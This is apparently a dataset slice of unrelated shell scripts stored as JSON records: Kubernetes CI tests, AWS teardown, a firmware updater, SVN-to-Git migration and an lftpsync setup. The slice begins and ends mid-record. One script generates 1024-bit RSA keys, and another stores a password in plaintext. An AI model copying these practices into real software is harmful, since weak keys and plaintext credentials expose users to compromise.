ANSIBLE_STRATEGY_PLUGINS=plugins/mitogen/ansible_mitogen/plugins/strategy\r\nfi\r\n\r\n# Create cluster\r\nansible-playbook ${ANSIBLE_LOG_LEVEL} -e @${CI_TEST_REGISTRY_MIRROR} -e @${CI_TEST_VARS} -e local_release_dir=${PWD}/downloads --limit \"all:!fake_hosts\" cluster.yml\r\n\r\n# Repeat deployment if testing upgrade\r\nif [ \"${UPGRADE_TEST}\" != \"false\" ]; then\r\n test \"${UPGRADE_TEST}\" == \"basic\" && PLAYBOOK=\"cluster.yml\"\r\n test \"${UPGRADE_TEST}\" == \"graceful\" && PLAYBOOK=\"upgrade-cluster.yml\"\r\n git checkout \"${CI_BUILD_REF}\"\r\n ansible-playbook ${ANSIBLE_LOG_LEVEL} -e @${CI_TEST_REGISTRY_MIRROR} -e @${CI_TEST_VARS} -e local_release_dir=${PWD}/downloads --limit \"all:!fake_hosts\" $PLAYBOOK\r\nfi\r\n\r\n# Test control plane recovery\r\nif [ \"${RECOVER_CONTROL_PLANE_TEST}\" != \"false\" ]; then\r\n ansible-playbook ${ANSIBLE_LOG_LEVEL} -e @${CI_TEST_REGISTRY_MIRROR} -e @${CI_TEST_VARS} -e local_release_dir=${PWD}/downloads --limit \"${RECOVER_CONTROL_PLANE_TEST_GROUPS}:!fake_hosts\" -e reset_confirmation=yes reset.yml\r\n ansible-playbook ${ANSIBLE_LOG_LEVEL} -e @${CI_TEST_REGISTRY_MIRROR} -e @${CI_TEST_VARS} -e local_release_dir=${PWD}/downloads -e etcd_retries=10 --limit etcd,kube-master:!fake_hosts recover-control-plane.yml\r\nfi\r\n\r\n# Tests Cases\r\n## Test Master API\r\nansible-playbook --limit \"all:!fake_hosts\" -e @${CI_TEST_VARS} tests/testcases/010_check-apiserver.yml $ANSIBLE_LOG_LEVEL\r\n\r\n## Test that all nodes are Ready\r\nansible-playbook --limit \"all:!fake_hosts\" -e @${CI_TEST_VARS} tests/testcases/015_check-nodes-ready.yml $ANSIBLE_LOG_LEVEL\r\n\r\n## Test that all pods are Running\r\nansible-playbook --limit \"all:!fake_hosts\" -e @${CI_TEST_VARS} tests/testcases/020_check-pods-running.yml $ANSIBLE_LOG_LEVEL\r\n\r\n## Test pod creation and ping between them\r\nansible-playbook --limit \"all:!fake_hosts\" -e @${CI_TEST_VARS} tests/testcases/030_check-network.yml $ANSIBLE_LOG_LEVEL\r\n\r\n## Advanced DNS checks\r\nansible-playbook --limit \"all:!fake_hosts\" -e @${CI_TEST_VARS} tests/testcases/040_check-network-adv.yml $ANSIBLE_LOG_LEVEL\r\n\r\n## Kubernetes conformance tests\r\nansible-playbook -i ${ANSIBLE_INVENTORY} -e @${CI_TEST_VARS} --limit \"all:!fake_hosts\" tests/testcases/100_check-k8s-conformance.yml $ANSIBLE_LOG_LEVEL\r\n\r\n## Idempotency checks 1/5 (repeat deployment)\r\nif [ \"${IDEMPOT_CHECK}\" = \"true\" ]; then\r\n ansible-playbook ${ANSIBLE_LOG_LEVEL} -e @${CI_TEST_REGISTRY_MIRROR} -e @${CI_TEST_VARS} -e local_release_dir=${PWD}/downloads --limit \"all:!fake_hosts\" cluster.yml\r\nfi\r\n\r\n## Idempotency checks 2/5 (Advanced DNS checks)\r\nif [ \"${IDEMPOT_CHECK}\" = \"true\" ]; then\r\n ansible-playbook ${ANSIBLE_LOG_LEVEL} -e @${CI_TEST_VARS} --limit \"all:!fake_hosts\" tests/testcases/040_check-network-adv.yml\r\nfi\r\n\r\n## Idempotency checks 3/5 (reset deployment)\r\nif [ \"${IDEMPOT_CHECK}\" = \"true\" -a \"${RESET_CHECK}\" = \"true\" ]; then\r\n ansible-playbook ${ANSIBLE_LOG_LEVEL} -e @${CI_TEST_REGISTRY_MIRROR} -e @${CI_TEST_VARS} -e reset_confirmation=yes --limit \"all:!fake_hosts\" reset.yml\r\nfi\r\n\r\n## Idempotency checks 4/5 (redeploy after reset)\r\nif [ \"${IDEMPOT_CHECK}\" = \"true\" -a \"${RESET_CHECK}\" = \"true\" ]; then\r\n ansible-playbook ${ANSIBLE_LOG_LEVEL} -e @${CI_TEST_REGISTRY_MIRROR} -e @${CI_TEST_VARS} -e local_release_dir=${PWD}/downloads --limit \"all:!fake_hosts\" cluster.yml\r\nfi\r\n\r\n## Idempotency checks 5/5 (Advanced DNS checks)\r\nif [ \"${IDEMPOT_CHECK}\" = \"true\" -a \"${RESET_CHECK}\" = \"true\" ]; then\r\n ansible-playbook --limit \"all:!fake_hosts\" tests/testcases/040_check-network-adv.yml $ANSIBLE_LOG_LEVEL\r\nfi"} {"text": "demo/Cpp/TEST/other-compilers-sun.sh0\n#! /usr/bin/env bash\nif [[ $1 == \"--hwut-info\" ]]; then\n echo \"Other Compilers than g++: Solaris' sunCC\"\n echo \"CHOICES: 000, 001, 002, 003, 005, 006\"\n exit\nfi\nexport TOOLPATH=/opt/solstudio\necho \"##\" $1\nsource core.sh $1 DEBUG COMPILER=/opt/solstudio/bin/sunCC"} {"text": "#!/usr/bin/env bash\n#set -e\n\ncurr_dir=$(pwd)\n\nif [[ -z $SCENARIO ]]; then\n SCENARIO='news'\nfi\n\nexisted_personalize=$(aws personalize list-dataset-groups | jq '.[][] | select(.name==\"GCR-RS-'${SCENARIO}'-Dataset-Group\")')\nif [[ \"${existed_personalize}\" != \"\" ]]; then\n echo \"################ start clean personalize resources ################ \"\n echo \"you can run the following command to check the personalize deleting status\"\n echo \"tail -f ~/personalize-log/clean-personalize.log \"\n cd ${curr_dir}/personalize\n nohup ./clean-personalize.sh ${SCENARIO} >> ~/personalize-log/clean-personalize.log 2>&1 &\n cd ${curr_dir}\n echo \"\"\nfi\n\n##############################delete resource for application##############################\nexport EKS_CLUSTER=gcr-rs-dev-application-cluster\n\nEKS_VPC_ID=$(aws eks describe-cluster --name $EKS_CLUSTER --query \"cluster.resourcesVpcConfig.vpcId\" --output text)\n\n\n\necho \"################ start clean online resources ################ \"\n\necho \"################ start clean EFS resource ################ \"\n\n#delete EFS file system\nEFS_ID=$(aws efs describe-file-systems | jq '.[][] | select(.Tags[].Value==\"GCR-RS-DEV-WORKSHOP-EFS-FileSystem\")' | jq '.FileSystemId' -r)\nif [ \"$EFS_ID\" != \"\" ]; then\n for EFS_SUB_ID in $(echo $EFS_ID); do\n MOUNT_TARGET_IDS=$(aws efs describe-mount-targets --file-system-id $EFS_SUB_ID | jq '.[][].MountTargetId' -r)\n for MOUNT_TARGET_ID in $(echo $MOUNT_TARGET_IDS); do\n echo remove $MOUNT_TARGET_ID\n aws efs delete-mount-target --mount-target-id $MOUNT_TARGET_ID\n done\n \n MOUNT_TARGET_IDS=\"\"\n while true; do\n MOUNT_TARGET_IDS=$(aws efs describe-mount-targets --file-system-id $EFS_SUB_ID | jq '.[][].MountTargetId' -r)\n if [ \"$MOUNT_TARGET_IDS\" == \"\" ]; then\n echo \"delete GCR-RS-DEV-WORKSHOP-EFS-FileSystem EFS mount target successfully!\"\n break\n else\n echo \"deleting GCR-RS-DEV-WORKSHOP-EFS-FileSystem EFS mount target!\"\n fi\n sleep 20\n done\n \n echo remove EFS File System: $EFS_SUB_ID\n \n \n echo remove $EFS_SUB_ID\n aws efs delete-file-system --file-system-id $EFS_SUB_ID\n done\n\n EFS_ID=\"\"\n while true; do\n EFS_ID=$(aws efs describe-file-systems | jq '.[][] | select(.Tags[].Value==\"GCR-RS-DEV-WORKSHOP-EFS-FileSystem\")' | jq '.FileSystemId' -r)\n if [ \"$EFS_ID\" == \"\" ]; then\n echo \"delete GCR-RS-DEV-WORKSHOP-EFS-FileSystem EFS successfully!\"\n break\n else\n echo \"deleting GCR-RS-DEV-WORKSHOP-EFS-FileSystem EFS!\"\n fi\n sleep 20\n done\nfi\n\n#delete EFS file system security group\nNFS_SECURITY_GROUP_ID=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$EKS_VPC_ID Name=group-name,Values=gcr-rs-dev-workshop-efs-nfs-sg | jq '.SecurityGroups[].GroupId' -r)\n\nif [ \"$NFS_SECURITY_GROUP_ID\" != \"\" ]; then\n echo remove security group $NFS_SECURITY_GROUP_ID\n aws ec2 delete-security-group --group-id $NFS_SECURITY_GROUP_ID\nfi\n\n#delete Elastic Cache Redis\necho \"################ start clean Elasticache Redis resources ################ \"\nELASTIC_CACHE_CLUSTER=$(aws elasticache describe-cache-clusters | jq '.CacheClusters[] | select(.CacheClusterId==\"gcr-rs-dev-workshop-redis-cluster\")')\nif [ \"$ELASTIC_CACHE_CLUSTER\" != \"\" ]; then\n aws elasticache delete-cache-cluster --cache-cluster-id gcr-rs-dev-workshop-redis-cluster\n while true; do\n ELASTIC_CACHE_CLUSTER=$(aws elasticache describe-cache-clusters | jq '.CacheClusters[] | select(.CacheClusterId==\"gcr-rs-dev-workshop-redis-cluster\")')\n if [ \"$ELASTIC_CACHE_CLUSTER\" == \"\" ]; then\n echo \"delete gcr-rs-dev-workshop-redis-cluster successfully!\"\n break\n else\n echo \"deleting gcr-rs-dev-workshop-redis-cluster!\"\n fi\n sleep 20\n done\n aws elasticache delete-cache-subnet-group --cache-subnet-group-name gcr-rs-dev-workshop-redis-subnet-group\nfi\n\n#delete REDIS Cache security group\nREDIS_SECURITY_GROUP_ID=$(aws ec2 describe-security-groups --filters Name=vpc-id,Values=$EKS_VPC_ID Name=group-name,Values=gcr-rs-dev-workshop-redis-sg | jq '.SecurityGroups[].GroupId' -r)\nif [ \"$REDIS_SECURITY_GROUP_ID\" != \"\" ]; then\n echo delete redis security group $REDIS_SECURITY_GROUP_ID\n aws ec2 delete-security-group --group-id $REDIS_SECURITY_GROUP_ID\nfi\n\n##############################delete resource for application##############################\n\n#clean argocd and istio resources\n./cleanup-argocd-istio.sh $SCENARIO\n\n#detach eks cluster roles\necho \"################ Detach eks cluster roles for workshop ################ \"\n\nROLE_NAMES=$(aws iam list-roles | jq '.[][].RoleName' -r | grep eksctl-gcr-rs-dev-application-*)\nfor ROLE_NAME in $(echo $ROLE_NAMES); do\n POLICY_ARNS=$(aws iam list-attached-role-policies --role-name $ROLE_NAME | jq '.[][].PolicyArn' -r)\n for POLICY_ARN in $(echo $POLICY_ARNS); do\n echo detach policy $POLICY_ARN for role $ROLE_NAME\n aws iam detach-role-policy --role-name $ROLE_NAME --policy-arn $POLICY_ARN\n done\n # echo delete role $ROLE_NAME\n # aws iam delete-role --role-name $ROLE_NAME\ndone\n\n#remove eks cluster\necho \"################ Delete eks cluster for workshop ################ \"\neksctl delete cluster --name=$EKS_CLUSTER\n\n#remove codebuild project\nprojects[0]=\"loader\"\nprojects[1]=\"event\"\nprojects[2]=\"filter\"\nprojects[3]=\"portrait\"\nprojects[4]=\"rank\"\nprojects[5]=\"retrieve\"\nprojects[6]=\"recall\"\nprojects[7]=\"demo\"\nprojects[8]=\"ui\"\n\nfor project in ${projects[@]}\ndo \n echo \"Deleting ${project} from CodeBuild ...\"\n aws codebuild delete-project --name gcr-rs-dev-workshop-${project}-build || true\n echo \"Done.\"\n sleep 5\ndone\n\nrepo_name=(\n \"rs/demo\"\n \"rs/ui\"\n \"rs/loader\"\n \"rs/event\"\n \"rs/filter\"\n \"rs/filter-plugin\"\n \"rs/portrait\"\n \"rs/portrait-plugin\"\n \"rs/rank\"\n \"rs/rank-plugin\"\n \"rs/recall\"\n \"rs/recall-plugin\"\n \"rs/retrieve\"\n \"rs/retrieve-plugin\"\n \"rs/ui\"\n)\n\nfor repo in ${repo_name[@]}\ndo\n echo \"Delete repo: '$repo ...'\"\n aws ecr delete-repository --repository-name $repo --force > /dev/null 2>&1 || true\ndone\n\nAWS_ACCOUNT_ID=$(aws sts get-caller-identity --region ${REGION} --query Account --output text)\n\nif [[ ${REGION} =~ cn.* ]];then\n echo \"delete eksctl-gcr-rs-dev-application-cluster-addon-iamserviceaccount-kube-system-efs-csi-controller-sa\"\n aws cloudformation delete-stack --region ${REGION} \\\n --stack-name eksctl-gcr-rs-dev-application-cluster-addon-iamserviceaccount-kube-system-efs-csi-controller-sa || true\n sleep 30\n echo \"delete-policy AmazonEKS_EFS_CSI_Driver_Policy_$REGION\"\n aws iam delete-policy --policy-arn arn:aws-cn:iam::$AWS_ACCOUNT_ID:policy/AmazonEKS_EFS_CSI_Driver_Policy_$REGION || true\n\nfi\n\n\nCODE_COMMIT_USER=gcr-rs-codecommit-user_$REGION\n\nif $(aws iam get-user --user-name ${CODE_COMMIT_USER} >/dev/null 2>&1 );then\n echo \"delete $CODE_COMMIT_USER\"\n aws iam list-attached-user-policies --user-name $CODE_COMMIT_USER\n POLICY_ARNS=$(aws iam list-attached-user-policies --user-name $CODE_COMMIT_USER | jq '.[][].PolicyArn' -r)\n for POLICY_ARN in $(echo $POLICY_ARNS); do\n aws iam detach-user-policy --user-name $CODE_COMMIT_USER --policy-arn $POLICY_ARN\n done\n SER_ID=$(aws iam list-service-specific-credentials --user-name $CODE_COMMIT_USER --service-name codecommit.amazonaws.com | jq -r '.[][].ServiceSpecificCredentialId')\n aws iam delete-service-specific-credential --user-name $CODE_COMMIT_USER --service-specific-credential-id $SER_ID\n aws iam delete-user --user-name $CODE_COMMIT_USER\nfi\n\n\nif [[ -z $NOT_PRINTING_CONTROL_C ]];then\n echo \"Please stop printing the log by typing CONTROL+C \"\nfi"} {"text": "#!/usr/bin/env bash\n\n## Generate private keys\nKEY_LENGTH=1024\nKEYS_PATH=\"./certificates\"\nKEYS_PATH_TEST=\"./certificates_test\"\nCOMMON_NAME=\"YOUR DOMAIN\"\nORG_UTILITY=\"YOUR DEPARTMENT\"\nORG=\"ENTITY NAME\"\nSTATE=\"STATE\"\nLOCATION=\"LOCATION\"\nCOUNTRY=\"COUNTRY CODE\"\n\nETRANS_NAME=\"eTransactionLog\"\nBOREQ_NAME=\"BOReq\"\nBOREQ_NAME_TEST=\"BOReqTest\"\n\nmkdir $KEYS_PATH\nopenssl genrsa -out $KEYS_PATH/$ETRANS_NAME.key $KEY_LENGTH\nopenssl genrsa -out $KEYS_PATH/$BOREQ_NAME.key $KEY_LENGTH\nopenssl genrsa -out $KEYS_PATH/$BOREQ_NAME_TEST.key $KEY_LENGTH\n\nREQ_SUB=\"/C=$COUNTRY/ST=$STATE/OU=$ORG_UTILITY/L=$LOCATION/O=$ORG/CN=$COMMON_NAME\"\necho $REQ_SUB\n\nopenssl req -new -key $KEYS_PATH/$ETRANS_NAME.key -out $KEYS_PATH/$ETRANS_NAME.csr -subj $REQ_SUB\nopenssl req -new -key $KEYS_PATH/$BOREQ_NAME.key -out $KEYS_PATH/$BOREQ_NAME.csr -subj $REQ_SUB\nopenssl req -new -key $KEYS_PATH/$BOREQ_NAME_TEST.key -out $KEYS_PATH/$BOREQ_NAME_TEST.csr -subj $REQ_SUB\n\nmkdir $KEYS_PATH_TEST\n\nopenssl genrsa -out $KEYS_PATH_TEST/$ETRANS_NAME.key $KEY_LENGTH\nopenssl genrsa -out $KEYS_PATH_TEST/$BOREQ_NAME.key $KEY_LENGTH\nopenssl genrsa -out $KEYS_PATH_TEST/$BOREQ_NAME_TEST.key $KEY_LENGTH"} {"text": "FabMo/FabMo-Updaterhooks/linux/edison/install_engine.sh\n#!/bin/bash -e \n\necho \"Stopping the engine...\"\nsystemctl stop fabmo\n\necho \"Clearing settings...\"\nrm -rf /opt/fabmo/engine\n\necho \"Remounting the root partition as read-write\"\nmount -w -o remount /\n\n# DANGER ZONE\n\necho \"Uninstalling engine...\"\nrm -rf /fabmo/engine\n\necho \"Cloning new copy of the engine...\"\ngit clone $1 /fabmo/engine\ncd /fabmo/engine\ngit fetch origin --tags\ngit fetch origin release:release\ngit fetch origin rc:rc\ngit pull\n\necho \"Updating to version $2...\"\ngit checkout $2\nsync\n\necho \"Installing dependencies...\"\nnpm install --production\n\necho \"Synchronizing filesystem...\"\nsync\n\necho \"Remounting the root partition as read only\"\nmount -r -o remount /\n#echo u > /proc/sysrq-trigger\n#sleep 1\n#mount -w -o remount /home\n\necho \"Restarting the engine...\"\nsystemctl start fabmo"} {"text": "Teemo341/BDNN\n#! /bin/bash\n#SBATCH -J resnet_test\n#SBATCH -o result/resnet_test.out \n#SBATCH -p compute \n#SBATCH --qos=debug \n#SBATCH -N 1 \n#SBATCH --ntasks-per-node=1 \n#SBATCH --cpus-per-task=12 \n#SBATCH -t 24:00:00 \n \n \n#SBATCH -t 24:00:00 \npython -u test_detection.py --pre_trained_net save_resnet_svhn/final_model --network resnet --dataset svhn --out_dataset cifar10"} {"text": "#!/bin/bash\n\n#Config files.\nif [ $# -lt 2 ]; then\n echo 1>&2 \"$0: not enough arguments (need both arguments: CombinedGITRepoName ProjectFile)\"\n exit 2\nelif [ $# -gt 2 ]; then\n echo 1>&2 \"$0: too many arguments (need both arguments: CombinedGITRepoName ProjectFile)\"\n exit 2\nfi\ngitRepoName=$1\nprojectFile=$2\nconfigFile=\"config.properties\"\n\n\nprojectListArray=()\nbadProjectListArray=()\n\n# Read a property from a property file\n# @param propertyName (1)\n# @param fileName (2)\ngetPropertyFromFile() {\n# substitute \".\" with \"\\.\" so that we can use it as sed expression\nfileName=$2;\ncat $fileName | sed -n -e \"s/^[ ]*//g;/^#/d;s/^$1=//p\" | tail -1\n}\n\n# Read the file in parameter and fill the array named \"array\"\n# @param fileName (1)\ngetProjectListArray() {\n i=0\n while read line; do\n\t\t[[ \"$line\" =~ ^#.*$ ]] && continue\n\t\t[ -z \"$line\" ] && continue\n projectListArray[i]=$line # Put it into the array\n i=$(($i + 1))\n done < $1\n}\n\n# Put project into the Project Error Array\n# @param projectName (1)\nprojectError() {\n badProjectListArray+=($1)\n}\n\n# Convert repositories\n# @param projectName (1)\nexecuteRepositoryConversion() {\n\techo \"Clone the Repo:\"\n\tgit svn clone $svnrepo$1 --no-metadata -A authors.txt --stdlayout ~/$1\n\tif [ $? -ne 0 ]; then\n\t\techo \"git svn clone failed?\"\n\t\treturn 1\n\tfi\n\t\n\techo \"Clean the Git Cloned Repo:\"\n\tcd ~/$1\n\tif [ $? -ne 0 ]; then\n\t\techo \"git svn clone failed to create the git dir?\"\n\t\treturn 1\n\tfi\n\t#Move Tags from Remote to Local, there might not be tags so don't bother checking for error\n\tcp -Rf .git/refs/remotes/origin/tags/* .git/refs/tags/\n\t#Remove Remote TAGS when done.\n\trm -Rf .git/refs/remotes/origin/tags\n\t#Remove the trunk it's imported as master and not necessary so we remove it before moving branches to local\n\trm -Rf .git/refs/remotes/origin/trunk\n\t#Move branches/codelines from Remote to Local.\n\tcp -Rf .git/refs/remotes/* .git/refs/heads/\n\tif [ $? -ne 0 ]; then\n\t\techo \"no branches/tags or trunk were found?\"\n\t\treturn 1\n\tfi\n\t#Remove all the remotes when complete.\n\trm -Rf .git/refs/remotes\n\t\n\techo \"Rewrite the history to be at subdir: $1 in the Repo: $1\"\n\t#Move all files to a subdirectory and rewrite every branch/tag/master\n\tgit filter-branch --index-filter \\\n 'git ls-files -s | sed \"s-\\t\\\"*-&'$1'/-\" |\n GIT_INDEX_FILE=$GIT_INDEX_FILE.new \\\n git update-index --index-info &&\n mv \"$GIT_INDEX_FILE.new\" \"$GIT_INDEX_FILE\" || true\n ' --tag-name-filter cat -f -- --all\n\tif [ $? -ne 0 ]; then\n\t\techo \"git filter-branch failed?\"\n\t\treturn 1\n\tfi\n\t\n\treturn 0\n}\n\n# Merge repositories\n# @param projectName (1)\n# @param combinedRepoName (2)\nexecuteRepositoryMerge() {\n\tcd ~/$2\n\tif [ $? -ne 0 ]; then\n\t\techo \"Couldn't change to the ~/$2 combinedrepo directory?\"\n\t\treturn 1\n\tfi\n\tgit remote add -f $1 ~/$1\n\tif [ $? -ne 0 ]; then\n\t\techo \"failed to add the ~/$1 repo as a remote. \"\n\t\treturn 1\n\tfi\n\tgit merge -m'Merge commit (Project Migration from SVN to GIT)' $1/master\n\tif [ $? -ne 0 ]; then\n\t\techo \"git filter-branch failed?\"\n\t\treturn 1\n\tfi\n\treturn 0\n}\n\narrayContains () {\n local e\n for e in \"${@:2}\"; do [[ \"$e\" == \"$1\" ]] && return 1; done\n return 0\n}\n\ncd ~\nif [ $? -ne 0 ]; then\n\techo \"Failed to Change to Home Dir\"\n\tbreak\nfi\n\n#Read the list of projects to be combined from the specified file\nif [ -f \"$projectFile\" ]\nthen\ngetProjectListArray $projectFile\nfi\n\n#read the config file for operational properties\nif [ -f \"$configFile\" ]\nthen\nsvnrepo=$(getPropertyFromFile svnrepo $configFile)\nfi\n\nfor e in \"${projectListArray[@]}\"\ndo\n echo \"Executing On Project: $e\"\n\tcd ~\n\tif [ $? -ne 0 ]; then\n\t\techo \"Failed to Change to Home Dir\"\n\t\texit 1\n\tfi\n\texecuteRepositoryConversion $e 2>&1 | tee -a ~/RC_$e.log\n\tif [[ $eRCResult -ne 0 ]]\n\tthen\n\t projectError $e\n\t echo \"ProjectName:$e Had an error\"\n\t continue\n\tfi\n\ndone\n\ncd ~\nif [ $? -ne 0 ]; then\n\techo \"Failed to Change to Home Dir\"\n\texit 1\nfi\nmkdir ~/$gitRepoName\nif [ $? -ne 0 ]; then\n\techo \"Failed to Make Combined Repo Directory: $gitRepoName\"\n\texit 1\nfi\ncd ~/$gitRepoName\nif [ $? -ne 0 ]; then\n\techo \"Failed to Change to Combined Repo Directory: $gitRepoName\"\n\texit 1\nfi\ngit init .\nif [ $? -ne 0 ]; then\n\techo \"Failed to initialize the Combined Repository: $gitRepoName\"\n\texit 1\nfi\ngit commit --allow-empty -m'Initial commit (Project Migration from SVN to GIT)'\nif [ $? -ne 0 ]; then\n\techo \"Failed to make an initial commit to the Combined Repository: $gitRepoName\"\n\texit 1\nfi\n\nfor e in \"${projectListArray[@]}\"\ndo\n echo \"$e\"\n\techo \"${badProjectListArray[@]}\"\n\tarrayContains \"$e\" \"${badProjectListArray[@]}\"\n\tif [ $? -ne 0 ]; then\n\t\techo \"Project $e was in the failure list, ignoring it and continuing with the next one.\"\n\t\tcontinue\n\tfi\n\texecuteRepositoryMerge $e $gitRepoName 2>&1 | tee -a ~/RC_$e.log\ndone\n\ncd ~/$gitRepoName\nif [ $? -ne 0 ]; then\n\techo \"Couldn't change to the ~/$gitRepoName project directory?\"\n\texit 1\nfi\ncp -Rf .git/refs/remotes/origin/tags/* .git/refs/tags/\nrm -Rf .git/refs/remotes/origin/tags\ncp -Rf .git/refs/remotes/* .git/refs/heads/\nif [ $? -ne 0 ]; then\n\techo \"no branches/tags or trunk were found in $gitRepoName ? Assuming original didn't have any\"\nfi\nrm -Rf .git/refs/remotes\n\ncd ~/$gitRepoName\nfor e in \"${projectListArray[@]}\"\ndo\n echo \"$e\"\n\techo \"${badProjectListArray[@]}\"\n\tif [ $? -ne 0 ]; then\n\t\techo \"Project $e was in the failure list, ignoring it and continuing with the next one.\"\n\t\tcontinue\n\tfi\n\tgit remote remove $e\n\tif [ $? -ne 0 ]; then\n\t\techo \"failed to remove the remote of $e from the $gitRepoName\"\n\tfi\ndone"} {"text": "# @name lftpsync-setup\n# @command cmd /c start \"\" %TERMINAL% \"%EXTENSION_PATH%\" \"%username%\" \"%hostname%\" \"%port%\" \"%protocol%\" \"%remotepath%\" \"%localpath%\" \"%mparallel%\" \"%mpget%\" \"%arguments%\" \"%schedule%\" \"%scheduletime%\" \"%reset%\" \"%openlftpsync%\"\n# @side Local\n# @flag\n# @description Use this command to automatically generate the lftpsync settings using the current local and remote directories. You can also configure the connection settings.\n# @author userdocs\n# @version 1.0\n# @homepage https://github.com/userdocs/LFTP4WIN-CORE\n#\n# @option - -config group \"Terminal Settings\"\n#\n# @option TERMINAL -config checkbox \"Use ConEMU instead of MinTTY\" \"\"\"%WINSCP_PATH%\\..\\..\\bin\\mintty.exe\"\" --Title LFTP4WIN -e /bin/bash -li\" \"\"\"%WINSCP_PATH%\\..\\conemu\\ConEmu64.exe\"\" -run {Bash::bash}\" \"\"\"%WINSCP_PATH%\\..\\..\\bin\\mintty.exe\"\" --Title LFTP4WIN -e /bin/bash -li\"\n#\n# @option reset -run checkbox \"Reset the script and delete Scheduled Task\" \"\" \"reset\"\n# @option openlftpsync -run checkbox \"Open the lftpsync script with notepad++\" \"\" \"openlftpsync\"\n#\n# @option - -run group \"Connection Settings\"\n#\n# @option username -run textbox \"Username\" \"!U\"\n# @option password -run textbox \"Password\" \"\n# @option hostname -run textbox \"Hostname\" \"!@\"\n# @option port -run textbox \"Port\" \"!#\"\n#\n# @option - -run group \"Directory settings\"\n#\n# @option remotepath -run textbox \"Remote Path - No double quotes allowed in path.\" \"\"!/\"\"\n# @option localpath -run textbox \"Local Path\" \"!\\\"\n#\n# @option - -config -run group \"Lftp Configuration\"\n#\n# @option mparallel -config -run textbox \"Mirror Parallel (files to download in parallel)\" \"5\"\n# @option mpget -config -run textbox \"Mirror Pget (parts to split each file into when downloading)\" \"5\"\n# @option arguments -config -run textbox \"Arguments (You can specify command arguments here if required)\" \"-c\"\n#\n# @option - -config -run group \"Task Scheduler Settings\"\n#\n# @option schedule -config -run dropdownlist \"Set the Scheduled task repetition:\" \"DAILY\" \"HOURLY\" \"DAILY\" \"WEEKLY\" \"MONTHLY\" \"ONLOGON\"\n# @option scheduletime -config -run dropdownlist \"Scheduled Task Time to run:\" \"20:00\" \"00:00\" \"00:30\" \"01:00\" \"01:30\" \"02:00\" \"02:30\" \"03:00\" \"03:30\" \"04:00\" \"04:30\" \"05:00\" \"05:30\" \"06:00\" \"06:30\" \"07:00\" \"07:30\" \"08:00\" \"08:30\" \"09:00\" \"09:30\" \"10:00\" \"10:30\" \"11:00\" \"11:30\" \"12:00\" \"12:30\" \"13:00\" \"13:30\" \"14:00\" \"14:30\" \"15:00\" \"15:30\" \"16:00\" \"16:30\" \"17:00\" \"17:30\" \"18:00\" \"18:30\" \"19:00\" \"19:30\" \"20:00\" \"20:30\" \"21:00\" \"21:30\" \"22:00\" \"22:30\" \"23:00\" \"23:30\"\n#\n# @option - -run group \"Misc\"\n#\n# @option protocol -run textbox \"Session (Shortened to Protocol by the script. You can mostly ignore this)\" \"!S\"\n#\n#! /usr/bin/env bash\n#\nif [[ \"${12}\" = 'reset' ]]; then\n\tsed -ri \"s|^username='(.*)'$|username=''|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^hostname='(.*)'$|hostname=''|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^port='(.*)'$|port=''|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^protocol='(.*)'$|protocol=''|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^remote_dir='(.*)'$|remote_dir=''|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^local_dir='(.*)'$|local_dir=''|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^password='(.*)'$|password=''|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^mirror_parallel_transfer_count='(.*)'$|mirror_parallel_transfer_count='0'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^mirror_use_pget_n='(.*)'$|mirror_use_pget_n='0'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^mirror_args='(.*)'$|mirror_args='-c'|g\" /scripts/lftpsync-config.sh\n\t#\n\tif [[ \"$(/cygdrive/c/Windows/System32/SchTasks /query /TN \"lftpsync\" 2> /dev/null)\" ]]; then\n\t\t/cygdrive/c/Windows/System32/SchTasks /delete /tn \"lftpsync\" /f\n\tfi\n\t#\n\techo \"The lftpsync script has been reset to defaults and the scheduled task has been removed.\"\n\tsleep 2\nelse\n\twinscp_to_bash \"${@}\"\n\t#\n\tsed -ri \"s|^username='(.*)'$|username='$username'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^hostname='(.*)'$|hostname='$hostname'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^port='(.*)'$|port='$port'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^protocol='(.*)'$|protocol='$protocol'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^remote_dir='(.*)'$|remote_dir='$remote_dir'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^local_dir='(.*)'$|local_dir='$local_dir'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^password='(.*)'$|password='$password'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^mirror_parallel_transfer_count='(.*)'$|mirror_parallel_transfer_count='$7'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^mirror_use_pget_n='(.*)'$|mirror_use_pget_n='$8'|g\" /scripts/lftpsync-config.sh\n\tsed -ri \"s|^mirror_args='(.*)'$|mirror_args='$(printf %q \"$(echo \"$9\" | sed -r 's/^\"(.*)\"$/\\1/' | sed \"s:':'\\\\\\\\\\'':g\")\")'|g\" /scripts/lftpsync-config.sh\n\t#\n\t/cygdrive/c/Windows/System32/SchTasks /Create /SC \"${10}\" /TN \"lftpsync\" /TR \\\"\"$(cygpath.exe -w \"/scripts/lftpsync.cmd\")\"\\\" /ST \"${11}\" /F\n\techo \"The lftpsync script scheduled task has been created using your settings.\"\n\tsleep 2\nfi\n#\nif [[ \"${13}\" = 'openlftpsync' ]]; then\n\t\"/applications/notepad/notepad++.exe\" \"$(cygpath -m /scripts/lftpsync-config.sh)\"\nfi"} {"text": "#! /bin/sh\necho \"running $0 $@\"\n\n# Install tomcat6\nif [ -d /vagrant ]; then\n yum -y install tomcat6\n \n chkconfig --levels 2345 tomcat6 on\n \n service tomcat6 start\nelse\n # tomcat 6 pre-installed on demo servers\n chkconfig --levels 2345 tomcat6 on\n \n service tomcat6 start\nfi\n\necho \"Note: consider running Tomcat behind a firewall if you intend to keep it open!\""} {"text": "ssent1/misc\n#!/bin/bash\n# mv.sh\ndir=\"$2\"\ntmp=\"$2\"; 